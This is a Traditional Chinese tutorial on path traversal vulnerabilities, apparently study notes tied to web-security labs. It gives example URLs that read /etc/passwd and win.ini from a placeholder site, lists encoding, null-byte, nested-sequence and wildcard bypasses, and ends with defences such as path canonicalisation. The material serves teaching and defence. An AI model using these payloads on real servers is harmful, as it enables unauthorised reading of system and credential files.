路徑遍歷也稱為目錄遍歷。這些漏洞使攻擊者能夠讀取正在運行應用程式的伺服器上的任意檔案。這可能包括:
- 應用程式程式碼和資料。
- 後端系統的憑證。
- 敏感的作業系統檔案。
舉例來說,有個網站使用以下 HTML 載入圖像:
<img src="/loadImage?filename=218.png">
loadImage
接受一個filename
參數並傳回指定文件的內容。如果影像檔案儲存在磁碟上的位置/var/www/images/
,應用程式會從此位置取得影像/var/www/images/218.png
。假如應用程式沒有實施針對路徑遍歷攻擊的防禦措施,可利用此弱點取得重要信息。
- 在基於Unix的作業系統上,攻擊者可用以下 URL 取得
/etc/passwd
https://insecure-website.com/loadImage?filename=../../../etc/passwd
因為這會導致應用程式從檔案路徑/var/www/images/../../../etc/passwd
讀取內容
- 在基於Windows作業系統上,
../
和..\
是有效的目錄遍歷序列。攻擊者可用以下 URL 取得windows\win.ini
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
Lab: File path traversal, simple case
饒過保護
一般應用程式可以防禦路徑遍歷攻擊,但也可能可用各種技術繞過防禦,常見的方式如下:
- absolute path:使用絕對路徑饒過保護
- nested traversal sequences:使用巢狀遍歷序列饒過保護
- various non-standard encodings:使用不同的編碼饒過保護
- validation of start of path:透過路徑開頭饒過保護
- null byte:使用空位元組饒過保護
使用絕對路徑饒過保護
直接使用檔案系統根目錄中的絕對路徑,例如:filename=/etc/passwd
來直接引用文件,而不使用任何遍歷序列,如下
https://insecure-website.com/loadImage?filename=etc/passwd
Lab: File path traversal, traversal sequences blocked with absolute path bypass
使用巢狀遍歷序列饒過保護
像是....//
或....\/
攻擊者可用以下URL取得/etc/passwd
https://insecure-website.com/loadImage?filename=....//....//....//etc/passwd
Lab: File path traversal, traversal sequences stripped non-recursively
使用不同的編碼饒過保護
可以透過對字元進行 URL 編碼,甚至雙重 URL 編碼來繞過,如下
#url encoding
. = %2e
/ = %2f
\ = %5C
#Double URL encoding
. = %252e
/ = %252f
\ = %255c
#16 bits Unicode encoding
. = %u002e, %uff0e
/ = %u2215
\ = %u2216
#UTF-8 Unicode encoding
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
refer
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md
攻擊者可用以下URL取得/etc/passwd
https://insecure-website.com/loadImage?filename=..%252f..%252f..%252fetc/passwd
Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
透過路徑開頭饒過保護
應用程式可能需要使用者提供基本的目錄開頭,例如/var/www/images
, 在這種情況下,可以嘗試在攻擊字串中包含所需的基本目錄名稱
攻擊者可用以下URL取得/etc/passwd
https://insecure-website.com/loadImage?filename=/var/www/images/../../../etc/passwd
Lab: File path traversal, validation of start of path
使用空位元組饒過保護
應用程式可能需要使用者提供的檔案名稱以預期的檔案副檔名結尾,像是.png
。在這種情況下,可以在所需副檔名之前使用空位元組
攻擊者可用以下URL取得/etc/passwd
https://insecure-website.com/loadImage?filename=../../../etc/passwd%00.png
Lab: File path traversal, validation of file extension with null byte bypass
其他補充
檔案名通配符解析漏洞(Wildcard Injection/Filename Wildcard Parsing)
應用程式在處理檔案名稱時,意外地將特殊字元(例如 <、>、*)解釋成了通配符的行為。例如,攻擊者利用 file<.php
,會匹配 file*.php
,進而讀取目錄下所有符合條件的檔案(如 file1.php、file2.php)。
有時可和目錄遍歷漏洞搭配使用,如下
https://insecure-website.com/loadImage?filename=../../etc/pas<.txt
產生漏洞的可能原因
1. 應用程式未正確過濾或處理特殊字元:
• 應用程式接收用戶輸入的檔案名後,直接傳遞給底層函式(如 readfile()、fopen())。
• 如果底層函式支援通配符解析,則字元如 <、>、* 會被解釋為匹配規則。
2. 檔案系統的特性:
• 在 Linux/Unix 檔案系統中,通配符 * 會匹配所有符合條件的檔案。
• 特殊字元如 < 和 > 在某些情況下可能會被視為通配符解析的起始或替代符號。
解決方案
限制Web應用在服務器上的運行
在前端防禦上須設定 http service 可存取之資料夾,限制可存取的資料夾範圍。像是DocumentRoot 可以讓我們指定網頁根目錄的位置,也就是我們存放網頁的目錄。
不過這方法有時候會因web軟体本身有漏洞而導致限制失敗。
進行嚴格的輸入驗證,控制用戶輸入非法路徑
常見的程式語言防護方式:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
refer
https://cert.ntu.edu.tw/Document/TechDoc/Web_Host_Directory_Traversal_Attacks.pdf
https://www.qa-knowhow.com/?p=4179